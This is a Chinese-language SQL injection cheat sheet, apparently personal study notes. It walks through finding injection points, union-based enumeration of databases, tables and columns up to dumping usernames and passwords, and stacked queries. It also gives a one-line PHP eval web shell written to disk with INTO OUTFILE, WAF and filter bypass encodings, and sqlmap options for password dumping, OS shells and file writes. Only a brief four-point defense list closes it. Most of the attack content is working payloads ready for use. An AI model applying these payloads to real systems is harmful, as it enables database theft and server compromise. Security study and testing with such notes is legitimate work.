1.原理
当用户提交的数据未作处理或转义直接拼接为sql语句带入数据库,就造成了sql注入。
攻击者通过构造不同的sql语句来实现对数据库的任意操作。
2.注入点
关注点:和数据库交互的参数,尤其是根据输入不同页面有不同显示的参数
在参数后面添加单引号,如果报错或者长度变化
3.分类
3.1数据库
常见的数据库类型,分为关系型数据库和非关系型数据库
关系型数据库有 MySQL、MSSQL、Access、Oracle、DB2、PostgreSQL等。
非关系型数据库有 Redis、MongoDB、Neo4j、Memcached、MemcacheDB 和 HBase等
3.2数据类型
数字型——?id=1 and 1=1 --+
字符型——要闭合符号' '' ') ") ')) "))等 ?id=1' order by x --+
搜索型——闭合通配符 %' order by x --+ || %' and '%1%'='%1
编码型——发送编码后的payload,后端解码后进行数据库操作
加密型——发送加密后的payload
格式型——JSON json={“username”:“admin’ order by 4 #”}
3.3提交方式
get post $_SERVER获取的参数(cookie,user-agent...) $_REQUEST(从任意位置接收参数)
sqlmap -r
3.4注入方式
布尔注入 延时注入 报错注入
4.注入流程
mysql:
MYSQL5.0 以上版本:自带的数据库名 information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
判断注入点:?id=1'
判断类型:?id=1')
判断列数:?id=1 order by xx --+
看显示位:?id=1 union select 1,2,3,4,5,6,7... --+
收集信息:?id=1 union select user(),2,3,4... --+ database(),user(),version()等
查数据库:union select group_concat(schema_name),2,3,4... from information_schema.schemata
查表:union select group_concat(table_name),2,3,4... from information_schema.tables where table_schema='xxx'
查字段:union select group_concat(column_name),2,3,4... from information_schema.columns where table_name='xxx'
查数据:union select group_concat(username),group_concat(password),3,4... from 数据库名.表名
5.堆叠注入
mysql mssql Postgresql等支持
?id=1';show databases; --+ 一次执行多条
6.高权限用户读写
union select 1,load_file(‘d:/w.txt’),3,4,5,6
union select 1,‘<?php eval($_GET[x])?>’,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile ‘d:/www.txt’
7.HPP绕过
不同waf有不同处理规则
如php/apache检测第二个?uid=1&uid=2,可以在第一个参数构造payload(检测第二个,第一个仍拼接进sql语句)
8其他
access偏移注入 二次注入(注入的数据在展示时被带如数据库执行)
9.绕过
魔术引号,转义函数
转义'和",加%df绕过
宽字节注入 gbk编码时 ?id=%df' and 1=1 --+
过滤空格
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ +
过滤引号
编码绕过 url hex unicode
过滤等号
like rlike regexp替换=
过滤大于小于号
between绕过
1 AND A > B--+
1 AND A NOT BETWEEN 0 AND B--+
过滤关键字
大小写 UnIoN SeLcT And...
注释分割 un/**/ion sele/**/ct
过滤逗号
join:union select 1,2,3
union select * from (select 1)a join (select 2)b join (select 3)
编码绕过
url:SELECT FIELD FROM%20TABLE
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
unicode:SELECT FIELD%20FROM TABLE
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045
10.sqlmap使用
-u -r
--dbs
--tables -D "xx"
--columns -D "xx" -T "xx"
--dump -D "xx" -T "xx" -C "xx"
--is-dba
--passwords 爆账户和密码
--os-shell 交互式命令
--file-read "xxxx"
--file-write "xxxx" --file-dest "xxxx"
--tamper=unmagicquotes.py 魔术引号
--tamper=base64encode.py base64编码
1. sqlmap超详细笔记+思维导图 - bmjoker - 博客园 (cnblogs.com)
11.防御
1.SQL语句预编译
2.对SQL输入内容进行限制、过滤
3.关闭错误信息输出 ,防止物理路径、数据库版本等信息泄露
4.敏感信息严格加密处理